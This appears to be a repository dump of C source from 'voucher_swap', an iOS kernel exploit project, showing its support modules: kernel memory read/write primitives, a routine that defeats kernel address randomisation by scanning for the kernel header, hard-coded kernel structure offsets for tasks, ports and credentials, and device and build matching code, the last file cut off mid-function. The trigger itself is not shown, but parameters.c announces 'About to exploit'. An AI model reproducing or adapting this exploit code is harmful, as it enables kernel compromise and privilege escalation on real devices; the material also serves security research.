#include 12 | 13 | #ifdef KERNEL_MEMORY_EXTERN 14 | #define extern KERNEL_MEMORY_EXTERN 15 | #endif 16 | 17 | /* 18 | * kernel_task_port 19 | * 20 | * Description: 21 | * The kernel task port. 22 | */ 23 | extern mach_port_t kernel_task_port; 24 | 25 | /* 26 | * kernel_task 27 | * 28 | * Description: 29 | * The address of the kernel_task in kernel memory. 30 | */ 31 | extern uint64_t kernel_task; 32 | 33 | /* 34 | * current_task 35 | * 36 | * Description: 37 | * The address of the current task in kernel memory. 38 | */ 39 | extern uint64_t current_task; 40 | 41 | /* 42 | * kernel_read 43 | * 44 | * Description: 45 | * Read data from kernel memory. 46 | */ 47 | bool kernel_read(uint64_t address, void *data, size_t size); 48 | 49 | /* 50 | * kernel_write 51 | * 52 | * Description: 53 | * Write data to kernel memory. 54 | */ 55 | bool kernel_write(uint64_t address, const void *data, size_t size); 56 | 57 | /* 58 | * kernel_read8 59 | * 60 | * Description: 61 | * Read a single byte from kernel memory. If the read fails, -1 is returned. 62 | */ 63 | uint8_t kernel_read8(uint64_t address); 64 | 65 | /* 66 | * kernel_read16 67 | * 68 | * Description: 69 | * Read a 16-bit value from kernel memory. If the read fails, -1 is returned. 70 | */ 71 | uint16_t kernel_read16(uint64_t address); 72 | 73 | /* 74 | * kernel_read32 75 | * 76 | * Description: 77 | * Read a 32-bit value from kernel memory. If the read fails, -1 is returned. 78 | */ 79 | uint32_t kernel_read32(uint64_t address); 80 | 81 | /* 82 | * kernel_read64 83 | * 84 | * Description: 85 | * Read a 64-bit value from kernel memory. If the read fails, -1 is returned. 86 | */ 87 | uint64_t kernel_read64(uint64_t address); 88 | 89 | /* 90 | * kernel_write8 91 | * 92 | * Description: 93 | * Write a single byte to kernel memory. 94 | */ 95 | bool kernel_write8(uint64_t address, uint8_t value); 96 | 97 | /* 98 | * kernel_write16 99 | * 100 | * Description: 101 | * Write a 16-bit value to kernel memory. 102 | */ 103 | bool kernel_write16(uint64_t address, uint16_t value); 104 | 105 | /* 106 | * kernel_write32 107 | * 108 | * Description: 109 | * Write a 32-bit value to kernel memory. 110 | */ 111 | bool kernel_write32(uint64_t address, uint32_t value); 112 | 113 | /* 114 | * kernel_write64 115 | * 116 | * Description: 117 | * Write a 64-bit value to kernel memory. 118 | */ 119 | bool kernel_write64(uint64_t address, uint64_t value); 120 | 121 | /* 122 | * kernel_ipc_port_lookup 123 | * 124 | * Description: 125 | * Get the address of the ipc_port and ipc_entry for a Mach port name. 126 | */ 127 | bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, 128 | uint64_t *ipc_port, uint64_t *ipc_entry); 129 | 130 | #undef extern 131 | 132 | #endif 133 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_slide.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_slide.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_SLIDE_EXTERN 6 | #include "kernel_slide.h" 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include "kernel_memory.h" 13 | #include "log.h" 14 | #include "parameters.h" 15 | #include "platform.h" 16 | 17 | /* 18 | * is_kernel_base 19 | * 20 | * Description: 21 | * Checks if the given address is the kernel base. 22 | */ 23 | static bool 24 | is_kernel_base(uint64_t base) { 25 | // Read the data at the base address as a Mach-O header. 26 | struct mach_header_64 header = {}; 27 | bool ok = kernel_read(base, &header, sizeof(header)); 28 | if (!ok) { 29 | return false; 30 | } 31 | // Validate that this looks like the kernel base. We don't check the CPU subtype since it 32 | // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1, 33 | // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is 34 | // CPU_SUBTYPE_ARM64_V8). 35 | if (!(header.magic == MH_MAGIC_64 36 | && header.cputype == platform.cpu_type 37 | && header.filetype == MH_EXECUTE 38 | && header.ncmds > 2)) { 39 | return false; 40 | } 41 | return true; 42 | } 43 | 44 | bool 45 | kernel_slide_init() { 46 | if (kernel_slide != 0) { 47 | return true; 48 | } 49 | // Get the address of the host port. 50 | mach_port_t host = mach_host_self(); 51 | assert(MACH_PORT_VALID(host)); 52 | uint64_t host_port; 53 | bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL); 54 | mach_port_deallocate(mach_task_self(), host); 55 | if (!ok) { 56 | ERROR("could not lookup host port"); 57 | return false; 58 | } 59 | // Get the address of realhost. 60 | uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject)); 61 | return kernel_slide_init_with_kernel_image_address(realhost); 62 | } 63 | 64 | bool 65 | kernel_slide_init_with_kernel_image_address(uint64_t address) { 66 | if (kernel_slide != 0) { 67 | return true; 68 | } 69 | // Find the highest possible kernel base address that could still correspond to the given 70 | // kernel image address. 71 | uint64_t base = STATIC_ADDRESS(kernel_base); 72 | assert(address > base); 73 | base = base + ((address - base) / kernel_slide_step) * kernel_slide_step; 74 | // Now walk backwards from that kernel base one kernel slide at a time until we find the 75 | // real kernel base. 76 | while (base > STATIC_ADDRESS(kernel_base)) { 77 | bool found = is_kernel_base(base); 78 | if (found) { 79 | kernel_slide = base - STATIC_ADDRESS(kernel_base); 80 | DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide); 81 | return true; 82 | } 83 | base -= kernel_slide_step; 84 | } 85 | ERROR("could not find kernel base"); 86 | ERROR("could not determine kernel slide"); 87 | return false; 88 | } 89 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_slide.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_slide.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_ 6 | #define VOUCHER_SWAP__KERNEL_SLIDE_H_ 7 | 8 | #include 9 | #include 10 | 11 | #ifdef KERNEL_SLIDE_EXTERN 12 | #define extern KERNEL_SLIDE_EXTERN 13 | #endif 14 | 15 | /* 16 | * kernel_slide 17 | * 18 | * Description: 19 | * The kASLR slide. 20 | */ 21 | extern uint64_t kernel_slide; 22 | 23 | /* 24 | * kernel_slide_init 25 | * 26 | * Description: 27 | * Find the value of the kernel slide using kernel_read() and current_task. 28 | */ 29 | bool kernel_slide_init(void); 30 | 31 | /* 32 | * kernel_slide_init_with_kernel_image_address 33 | * 34 | * Description: 35 | * Find the value of the kernel slide using kernel_read(), starting with an address that is 36 | * known to reside within the kernel image. 37 | */ 38 | bool kernel_slide_init_with_kernel_image_address(uint64_t address); 39 | 40 | #undef extern 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/log.c: -------------------------------------------------------------------------------- 1 | /* 2 | * log.c 3 | * Brandon Azad 4 | */ 5 | #include "log.h" 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | void 12 | log_internal(char type, const char *format, ...) { 13 | if (log_implementation != NULL) { 14 | va_list ap; 15 | va_start(ap, format); 16 | log_implementation(type, format, ap); 17 | va_end(ap); 18 | } 19 | } 20 | 21 | // The default logging implementation prints to stderr with a nice hacker prefix. 22 | static void 23 | log_stderr(char type, const char *format, va_list ap) { 24 | char *message = NULL; 25 | vasprintf(&message, format, ap); 26 | assert(message != NULL); 27 | switch (type) { 28 | case 'D': type = 'D'; break; 29 | case 'I': type = '+'; break; 30 | case 'W': type = '!'; break; 31 | case 'E': type = '-'; break; 32 | } 33 | fprintf(stderr, "[%c] %s\n", type, message); 34 | free(message); 35 | } 36 | 37 | void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr; 38 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/log.h: -------------------------------------------------------------------------------- 1 | /* 2 | * log.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__LOG_H_ 6 | #define VOUCHER_SWAP__LOG_H_ 7 | 8 | #include 9 | #include 10 | 11 | /* 12 | * log_implementation 13 | * 14 | * Description: 15 | * This is the log handler that will be executed when code wants to log a message. The default 16 | * implementation logs the message to stderr. Setting this value to NULL will disable all 17 | * logging. Specify a custom log handler to process log messages in another way. 18 | * 19 | * Parameters: 20 | * type A character representing the type of message that is being 21 | * logged. 22 | * format A printf-style format string describing the error message. 23 | * ap The variadic argument list for the format string. 24 | * 25 | * Log Type: 26 | * The type parameter is one of: 27 | * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug 28 | * verbosity. 29 | * - I: Info: Used to convey general information about the exploit or its progress. 30 | * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was 31 | * encountered. 32 | * - E: Error: Used to indicate that an unrecoverable error was encountered. The code 33 | * might continue running after an error was encountered, but it probably will 34 | * not succeed. 35 | */ 36 | extern void (*log_implementation)(char type, const char *format, va_list ap); 37 | 38 | #define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG) 39 | 40 | #if DEBUG 41 | #define DEBUG_TRACE(level, fmt, ...) \ 42 | do { \ 43 | if (DEBUG_LEVEL(level)) { \ 44 | log_internal('D', fmt, ##__VA_ARGS__); \ 45 | } \ 46 | } while (0) 47 | #else 48 | #define DEBUG_TRACE(level, fmt, ...) do {} while (0) 49 | #endif 50 | #define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__) 51 | #define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__) 52 | #define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__) 53 | 54 | // A function to call the logging implementation. 55 | void log_internal(char type, const char *format, ...) __printflike(2, 3); 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/parameters.c: -------------------------------------------------------------------------------- 1 | /* 2 | * parameters.c 3 | * Brandon Azad 4 | */ 5 | #define PARAMETERS_EXTERN 6 | #include "parameters.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "log.h" 15 | #include "platform.h" 16 | #include "platform_match.h" 17 | 18 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) 19 | 20 | static void default_offsets() { 21 | SIZE(ipc_entry) = 0x18; 22 | OFFSET(ipc_entry, ie_object) = 0; 23 | OFFSET(ipc_entry, ie_bits) = 8; 24 | OFFSET(ipc_entry, ie_request) = 16; 25 | 26 | SIZE(ipc_port) = 0xa8; 27 | BLOCK_SIZE(ipc_port) = 0x4000; 28 | OFFSET(ipc_port, ip_bits) = 0; 29 | OFFSET(ipc_port, ip_references) = 4; 30 | OFFSET(ipc_port, waitq_flags) = 24; 31 | OFFSET(ipc_port, imq_messages) = 64; 32 | OFFSET(ipc_port, imq_msgcount) = 80; 33 | OFFSET(ipc_port, imq_qlimit) = 82; 34 | OFFSET(ipc_port, ip_receiver) = 96; 35 | OFFSET(ipc_port, ip_kobject) = 104; 36 | OFFSET(ipc_port, ip_nsrequest) = 112; 37 | OFFSET(ipc_port, ip_requests) = 128; 38 | OFFSET(ipc_port, ip_mscount) = 156; 39 | OFFSET(ipc_port, ip_srights) = 160; 40 | 41 | SIZE(ipc_port_request) = 0x10; 42 | OFFSET(ipc_port_request, ipr_soright) = 0; 43 | 44 | OFFSET(ipc_space, is_table_size) = 0x14; 45 | OFFSET(ipc_space, is_table) = 0x20; 46 | 47 | SIZE(ipc_voucher) = 0x50; 48 | BLOCK_SIZE(ipc_voucher) = 0x4000; 49 | 50 | OFFSET(proc, p_pid) = 0x60; 51 | OFFSET(proc, p_ucred) = 0xF8; 52 | 53 | SIZE(sysctl_oid) = 0x50; 54 | OFFSET(sysctl_oid, oid_parent) = 0x0; 55 | OFFSET(sysctl_oid, oid_link) = 0x8; 56 | OFFSET(sysctl_oid, oid_kind) = 0x14; 57 | OFFSET(sysctl_oid, oid_handler) = 0x30; 58 | OFFSET(sysctl_oid, oid_version) = 0x48; 59 | OFFSET(sysctl_oid, oid_refcnt) = 0x4C; 60 | 61 | OFFSET(task, lck_mtx_type) = 0xB; 62 | OFFSET(task, ref_count) = 0x10; 63 | OFFSET(task, active) = 0x14; 64 | OFFSET(task, map) = 0x20; 65 | OFFSET(task, itk_space) = 0x300; 66 | OFFSET(task, bsd_info) = 0x358; 67 | } 68 | 69 | // ---- Public API -------------------------------------------------------------------------------- 70 | 71 | bool 72 | parameters_init() { 73 | platform_init(); 74 | STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000; 75 | kernel_slide_step = 0x200000; 76 | message_size_for_kmsg_zone = 76; 77 | kmsg_zone_size = 256; 78 | max_ool_ports_per_message = 16382; 79 | gc_step = 2 * MB; 80 | default_offsets(); 81 | const char *bsd_info_0x368[] = { "iPhone11," }; 82 | for (int i = 0; i < ARRAY_COUNT(bsd_info_0x368); i++) { 83 | if (strstr(platform.machine, bsd_info_0x368[i]) != NULL) { 84 | OFFSET(task, bsd_info) = 0x368; 85 | break; 86 | } 87 | } 88 | COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port); 89 | COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher); 90 | printf("[IMPORTANT] About to exploit. If this doesn't work, %s \"%s\" to bsd_info_0x368[] or open a new issue on github.com/alticha/voucher_swap.\n", OFFSET(task, bsd_info) == 0x368 ? "remove" : "add", platform.machine); 91 | return true; 92 | } 93 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/parameters.h: -------------------------------------------------------------------------------- 1 | /* 2 | * parameters.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PARAMETERS_H_ 6 | #define VOUCHER_SWAP__PARAMETERS_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #ifdef PARAMETERS_EXTERN 13 | #define extern PARAMETERS_EXTERN 14 | #endif 15 | 16 | // Some helpful units. 17 | #define KB (1024uLL) 18 | #define MB (1024uLL * KB) 19 | #define GB (1024uLL * MB) 20 | 21 | // Generate the name for an offset. 22 | #define OFFSET(base_, object_) _##base_##__##object_##__offset_ 23 | 24 | // Generate the name for the size of an object. 25 | #define SIZE(object_) _##object_##__size_ 26 | 27 | // Generate the name for the size of a zalloc block of objects. 28 | #define BLOCK_SIZE(object_) _##object_##__block_size_ 29 | 30 | // Generate the name for the number of elements in a zalloc block. 31 | #define COUNT_PER_BLOCK(object_) _##object_##__per_block_ 32 | 33 | // Generate the name for the address of an object. 34 | #define ADDRESS(object_) _##object_##__address_ 35 | 36 | // Generate the name for the static (unslid) address of an object. 37 | #define STATIC_ADDRESS(object_) _##object_##__static_address_ 38 | 39 | // A convenience macro for accessing a field of a structure. 40 | #define FIELD(object_, struct_, field_, type_) \ 41 | ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) ) 42 | 43 | // The static base address of the kernel. 44 | extern uint64_t STATIC_ADDRESS(kernel_base); 45 | 46 | // The kernel_slide granularity. 47 | extern uint64_t kernel_slide_step; 48 | 49 | // Messages up to this size are allocated from the dedicated ipc.kmsgs zone. 50 | extern size_t message_size_for_kmsg_zone; 51 | 52 | // The size of elements in ipc.kmsgs. 53 | extern size_t kmsg_zone_size; 54 | 55 | // The maximum number of OOL ports in a single message. 56 | extern size_t max_ool_ports_per_message; 57 | 58 | // How much to allocate between sleeps while trying to trigger garbage collection. 59 | extern size_t gc_step; 60 | 61 | // Parameters for ipc_entry. 62 | extern size_t SIZE(ipc_entry); 63 | extern size_t OFFSET(ipc_entry, ie_object); 64 | extern size_t OFFSET(ipc_entry, ie_bits); 65 | extern size_t OFFSET(ipc_entry, ie_request); 66 | 67 | // Parameters for ipc_port. 68 | extern size_t SIZE(ipc_port); 69 | extern size_t BLOCK_SIZE(ipc_port); 70 | extern size_t COUNT_PER_BLOCK(ipc_port); 71 | extern size_t OFFSET(ipc_port, ip_bits); 72 | extern size_t OFFSET(ipc_port, ip_references); 73 | extern size_t OFFSET(ipc_port, waitq_flags); 74 | extern size_t OFFSET(ipc_port, imq_messages); 75 | extern size_t OFFSET(ipc_port, imq_msgcount); 76 | extern size_t OFFSET(ipc_port, imq_qlimit); 77 | extern size_t OFFSET(ipc_port, ip_receiver); 78 | extern size_t OFFSET(ipc_port, ip_kobject); 79 | extern size_t OFFSET(ipc_port, ip_nsrequest); 80 | extern size_t OFFSET(ipc_port, ip_requests); 81 | extern size_t OFFSET(ipc_port, ip_mscount); 82 | extern size_t OFFSET(ipc_port, ip_srights); 83 | 84 | // Parameters for ipc_port_request. 85 | extern size_t SIZE(ipc_port_request); 86 | extern size_t OFFSET(ipc_port_request, ipr_soright); 87 | 88 | // Parameters for struct ipc_space. 89 | extern size_t OFFSET(ipc_space, is_table_size); 90 | extern size_t OFFSET(ipc_space, is_table); 91 | 92 | // Parameters for ipc_voucher. 93 | extern size_t SIZE(ipc_voucher); 94 | extern size_t BLOCK_SIZE(ipc_voucher); 95 | extern size_t COUNT_PER_BLOCK(ipc_voucher); 96 | 97 | // Parameters for struct proc. 98 | extern size_t OFFSET(proc, p_pid); 99 | extern size_t OFFSET(proc, p_ucred); 100 | 101 | // Parameters for struct sysctl_oid. 102 | extern size_t SIZE(sysctl_oid); 103 | extern size_t OFFSET(sysctl_oid, oid_parent); 104 | extern size_t OFFSET(sysctl_oid, oid_link); 105 | extern size_t OFFSET(sysctl_oid, oid_kind); 106 | extern size_t OFFSET(sysctl_oid, oid_handler); 107 | extern size_t OFFSET(sysctl_oid, oid_version); 108 | extern size_t OFFSET(sysctl_oid, oid_refcnt); 109 | 110 | // Parameters for struct task. 111 | extern size_t OFFSET(task, lck_mtx_type); 112 | extern size_t OFFSET(task, ref_count); 113 | extern size_t OFFSET(task, active); 114 | extern size_t OFFSET(task, map); 115 | extern size_t OFFSET(task, itk_space); 116 | extern size_t OFFSET(task, bsd_info); 117 | 118 | /* 119 | * parameters_init 120 | * 121 | * Description: 122 | * Initialize the parameters for the system. 123 | */ 124 | bool parameters_init(void); 125 | 126 | #undef extern 127 | 128 | #endif 129 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/platform.c: -------------------------------------------------------------------------------- 1 | /* 2 | * platform.c 3 | * Brandon Azad 4 | */ 5 | #define PLATFORM_EXTERN 6 | #include "platform.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "log.h" 14 | 15 | // ---- Initialization ---------------------------------------------------------------------------- 16 | 17 | void 18 | platform_init() { 19 | // Only initialize once. 20 | static bool initialized = false; 21 | if (initialized) { 22 | return; 23 | } 24 | initialized = true; 25 | // Set the page size. 26 | platform.page_size = vm_kernel_page_size; 27 | page_size = platform.page_size; 28 | // Get the machine name (e.g. iPhone11,8). 29 | struct utsname u = {}; 30 | int error = uname(&u); 31 | assert(error == 0); 32 | strncpy((char *)platform.machine, u.machine, sizeof(platform.machine)); 33 | // Get the build (e.g. 16C50). 34 | size_t osversion_size = sizeof(platform.osversion); 35 | error = sysctlbyname("kern.osversion", 36 | (void *)platform.osversion, &osversion_size, NULL, 0); 37 | assert(error == 0); 38 | // Get basic host info. 39 | mach_port_t host = mach_host_self(); 40 | assert(MACH_PORT_VALID(host)); 41 | host_basic_info_data_t basic_info; 42 | mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT; 43 | kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count); 44 | assert(kr == KERN_SUCCESS); 45 | platform.cpu_type = basic_info.cpu_type; 46 | platform.cpu_subtype = basic_info.cpu_subtype; 47 | platform.physical_cpu = basic_info.physical_cpu; 48 | platform.logical_cpu = basic_info.logical_cpu; 49 | platform.memory_size = basic_info.max_mem; 50 | mach_port_deallocate(mach_task_self(), host); 51 | // Log basic platform info. 52 | DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion); 53 | } 54 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/platform.h: -------------------------------------------------------------------------------- 1 | /* 2 | * platform.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PLATFORM_H_ 6 | #define VOUCHER_SWAP__PLATFORM_H_ 7 | 8 | #include 9 | #include 10 | 11 | #ifdef PLATFORM_EXTERN 12 | #define extern PLATFORM_EXTERN 13 | #endif 14 | 15 | /* 16 | * platform 17 | * 18 | * Description: 19 | * Basic information about the platform. 20 | */ 21 | struct platform { 22 | /* 23 | * platform.machine 24 | * 25 | * Description: 26 | * The name of the platform, e.g. iPhone11,8. 27 | */ 28 | const char machine[32]; 29 | /* 30 | * platform.osversion 31 | * 32 | * Description: 33 | * The version of the OS build, e.g. 16C50. 34 | */ 35 | const char osversion[32]; 36 | /* 37 | * platform.cpu_type 38 | * 39 | * Description: 40 | * The platform CPU type. 41 | */ 42 | cpu_type_t cpu_type; 43 | /* 44 | * platform.cpu_subtype 45 | * 46 | * Description: 47 | * The platform CPU subtype. 48 | */ 49 | cpu_subtype_t cpu_subtype; 50 | /* 51 | * platform.physical_cpu 52 | * 53 | * Description: 54 | * The number of physical CPU cores. 55 | */ 56 | unsigned physical_cpu; 57 | /* 58 | * platform.logical_cpu 59 | * 60 | * Description: 61 | * The number of logical CPU cores. 62 | */ 63 | unsigned logical_cpu; 64 | /* 65 | * platform.page_size 66 | * 67 | * Description: 68 | * The kernel page size. 69 | */ 70 | size_t page_size; 71 | /* 72 | * platform.memory_size 73 | * 74 | * Description: 75 | * The size of physical memory on the device. 76 | */ 77 | size_t memory_size; 78 | }; 79 | extern struct platform platform; 80 | 81 | /* 82 | * page_size 83 | * 84 | * Description: 85 | * The kernel page size on this platform, made available globally for convenience. 86 | */ 87 | extern size_t page_size; 88 | 89 | /* 90 | * platform_init 91 | * 92 | * Description: 93 | * Initialize the platform. 94 | */ 95 | void platform_init(void); 96 | 97 | #undef extern 98 | 99 | #endif 100 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/platform_match.c: -------------------------------------------------------------------------------- 1 | /* 2 | * platform_match.c 3 | * Brandon Azad 4 | */ 5 | #include "platform_match.h" 6 | 7 | #include 8 | #include 9 | 10 | #include "log.h" 11 | #include "platform.h" 12 | 13 | // ---- Matching helper functions ----------------------------------------------------------------- 14 | 15 | // Advance past any spaces in a string. 16 | static void 17 | skip_spaces(const char **p) { 18 | const char *pch = *p; 19 | while (*pch == ' ') { 20 | pch++; 21 | } 22 | *p = pch; 23 | } 24 | 25 | // ---- Device matching --------------------------------------------------------------------------- 26 | 27 | // A wildcard device version number. 28 | #define ANY ((unsigned)(-1)) 29 | 30 | // Parse the version part of a device string. 31 | static bool 32 | parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor, 33 | bool allow_wildcard, const char **end) { 34 | const char *p = device_version; 35 | // Parse the major version, which might be a wildcard. 36 | unsigned maj = 0; 37 | if (allow_wildcard && *p == '*') { 38 | maj = ANY; 39 | p++; 40 | } else { 41 | for (;;) { 42 | char ch = *p; 43 | if (ch < '0' || '9' < ch) { 44 | break; 45 | } 46 | maj = maj * 10 + (ch - '0'); 47 | p++; 48 | } 49 | } 50 | // Make sure we got the comma. 51 | if (*p != ',') { 52 | return false; 53 | } 54 | p++; 55 | // Parse the minor version, which might be a wildcard. 56 | unsigned min = 0; 57 | if (allow_wildcard && *p == '*') { 58 | min = ANY; 59 | p++; 60 | } else { 61 | for (;;) { 62 | char ch = *p; 63 | if (ch < '0' || '9' < ch) { 64 | break; 65 | } 66 | min = min * 10 + (ch - '0'); 67 | p++; 68 | } 69 | } 70 | // If end is NULL, then require that we're at the end of the string. Else, return the end 71 | // of what we parsed. 72 | if (end == NULL) { 73 | if (*p != 0) { 74 | return false; 75 | } 76 | } else { 77 | *end = p; 78 | } 79 | // Return the values. 80 | *major = maj; 81 | *minor = min; 82 | return true; 83 | } 84 | 85 | // Parse a device name. 86 | static bool 87 | parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor, 88 | bool allow_wildcard, const char **end) { 89 | // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY 90 | // If this device name doesn't have a comma then we don't know how to parse it. Just set 91 | // the whole thing as the device type. 92 | const char *comma = strchr(device, ','); 93 | if (comma == NULL) { 94 | unknown: 95 | strcpy(device_type, device); 96 | *major = 0; 97 | *minor = 0; 98 | return false; 99 | } 100 | // Walk backwards from the comma to the start of the major version. 101 | if (comma == device) { 102 | goto unknown; 103 | } 104 | const char *p = comma; 105 | for (;;) { 106 | char ch = *(p - 1); 107 | if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) { 108 | break; 109 | } 110 | p--; 111 | if (p == device) { 112 | goto unknown; 113 | } 114 | } 115 | if (p == comma) { 116 | goto unknown; 117 | } 118 | size_t device_type_length = p - device; 119 | // Parse the version numbers. 120 | bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end); 121 | if (!ok) { 122 | goto unknown; 123 | } 124 | // Return the device_type string. This is last in case it's shared with the device string. 125 | strncpy(device_type, device, device_type_length); 126 | device_type[device_type_length] = 0; 127 | return true; 128 | } 129 | 130 | // Parse a device name. 131 | static bool 132 | parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) { 133 | return parse_device_internal(device, device_type, major, minor, false, NULL); 134 | } 135 | 136 | // Parse a device range string. 137 | static bool 138 | parse_device_range(const char *device, char *device_type, 139 | unsigned *min_major, unsigned *min_minor, 140 | unsigned *max_major, unsigned *max_minor, 141 | const char **end) { 142 | char dev_type[32]; 143 | const char *next = device; 144 | // First parse a full device. 145 | bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next); 146 | if (!ok) { 147 | unknown: 148 | strcpy(device_type, device); 149 | *min_major = 0; 150 | *min_minor = 0; 151 | *max_major = 0; 152 | *max_minor = 0; 153 | return false; 154 | } 155 | // Optionally parse a separator and more versions. 156 | if (*next == 0) { 157 | *max_major = *min_major; 158 | *max_minor = *min_minor; 159 | } else if (*next == '-') { 160 | next++; 161 | ok = parse_device_version_internal(next, max_major, max_minor, true, &next); 162 | if (!ok) { 163 | goto unknown; 164 | } 165 | } 166 | *end = next; 167 | // Return the device_type. 168 | strcpy(device_type, dev_type); 169 | return true; 170 | } 171 | 172 | // Check if the given device number is numerically within range. 173 | static bool 174 | numerical_device_match(unsigned major, unsigned minor, 175 | unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) { 176 | if (major < min_major && min_major != ANY) { 177 | return false; 178 | } 179 | if ((major == min_major || min_major == ANY) 180 | && minor < min_minor && min_minor != ANY) { 181 | return false; 182 | } 183 | if (major > max_major && max_major != ANY) { 184 | return false; 185 | } 186 | if ((major == max_major || max_major == ANY) 187 | && minor > max_minor && max_minor != ANY) { 188 | return false; 189 | } 190 | return true; 191 | } 192 | 193 | // Match a specific device against a device match list. 194 | static bool 195 | match_device(const char *device, const char *devices) { 196 | if (devices == NULL || strcmp(devices, "*") == 0) { 197 | return true; 198 | } 199 | // Parse this device. 200 | char device_type[32]; 201 | unsigned major, minor; 202 | parse_device(device, device_type, &major, &minor); 203 | // Parse the match list. 204 | const char *next = devices; 205 | while (*next != 0) { 206 | // Parse the next device range. 207 | char match_device_type[32]; 208 | unsigned min_major, min_minor, max_major, max_minor; 209 | parse_device_range(next, match_device_type, &min_major, &min_minor, 210 | &max_major, &max_minor, &next); 211 | if (*next != 0) { 212 | skip_spaces(&next); 213 | assert(*next == '|'); 214 | next++; 215 | skip_spaces(&next); 216 | assert(*next != 0); 217 | } 218 | // Check if this is a match. 219 | if (strcmp(device_type, match_device_type) == 0 220 | && numerical_device_match(major, minor, 221 | min_major, min_minor, max_major, max_minor)) { 222 | return true; 223 | } 224 | } 225 | return false; 226 | } 227 | 228 | // ---- Build matching ---------------------------------------------------------------------------- 229 | 230 | // Parse a build version string into a uint64_t. Maintains comparison order. 231 | static uint64_t 232 | parse_build_version(const char *build, const char **end) { 233 | // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte] 234 | const char *p = build; 235 | // Parse out the major number. 236 | uint64_t major = 0; 237 | for (;;) { 238 | char ch = *p; 239 | if (ch < '0' || '9' < ch) { 240 | break; 241 | } 242 | major = major * 10 + (ch - '0'); 243 | p++; 244 | } 245 | // Parse out the minor. 246 | uint64_t minor = 0; 247 | for (;;) { 248 | char ch = *p; 249 | if (ch < 'A' || 'Z' < ch) { 250 | break; 251 | } 252 | minor = (minor << 8) + ch; 253 | p++; 254 | } 255 | // Parse out the patch. 256 | uint64_t patch = 0; 257 | for (;;) { 258 | char ch = *p; 259 | if (ch < '0' || '9' < ch) { 260 | break; 261 | } 262 | patch = patch * 10 + (ch - '0'); 263 | p++; 264 | } 265 | // Parse out the alpha. 266 | uint64_t alpha = 0; 267 | for (;;) { 268 | char ch = *p; 269 | if (ch < 'a' || 'z' < ch) { 270 | break; 271 | } 272 | alpha = (alpha << 8) + ch; 273 | p++; 274 | } 275 | // Construct the full build version. 276 | if (end != NULL) { 277 | *end = p; 278 | } 279 | return ((major << (8 * 5)) 280 | | (minor << (8 * 4)) 281 | | (patch << (8 * 1)) 282 | | (alpha << (8 * 0))); 283 | } 284 | 285 | // Parse a build version range string. 286 | static void 287 | parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) { 288 | const char *next = builds; 289 | uint64_t min, max; 290 | // Parse the lower range. 291 | if (*next == '*') { 292 | min = 0; 293 | next++; 294 | } else { 295 | min = parse_build_version(next, &next); 296 | } 297 | // Parse the upper range (if it exists). 298 | if (*next == 0) { 299 | assert(min != 0); 300 | max = min; 301 | } else { 302 | skip_spaces(&next); 303 | assert(*next == '-'); 304 | next++; 305 | skip_spaces(&next); 306 | if (*next == '*') { 307 | max = (uint64_t)(-1); 308 | next++; 309 | } else { 310 | max = parse_build_version(next, &next); 311 | } 312 | assert(*next == 0); 313 | } 314 | *version_min = min; 315 | *version_max = max; 316 | } 317 | 318 | // Check if the given build version string matches the build range. 319 | static bool 320 | match_build(const char *build, const char *builds) { 321 | if (builds == NULL 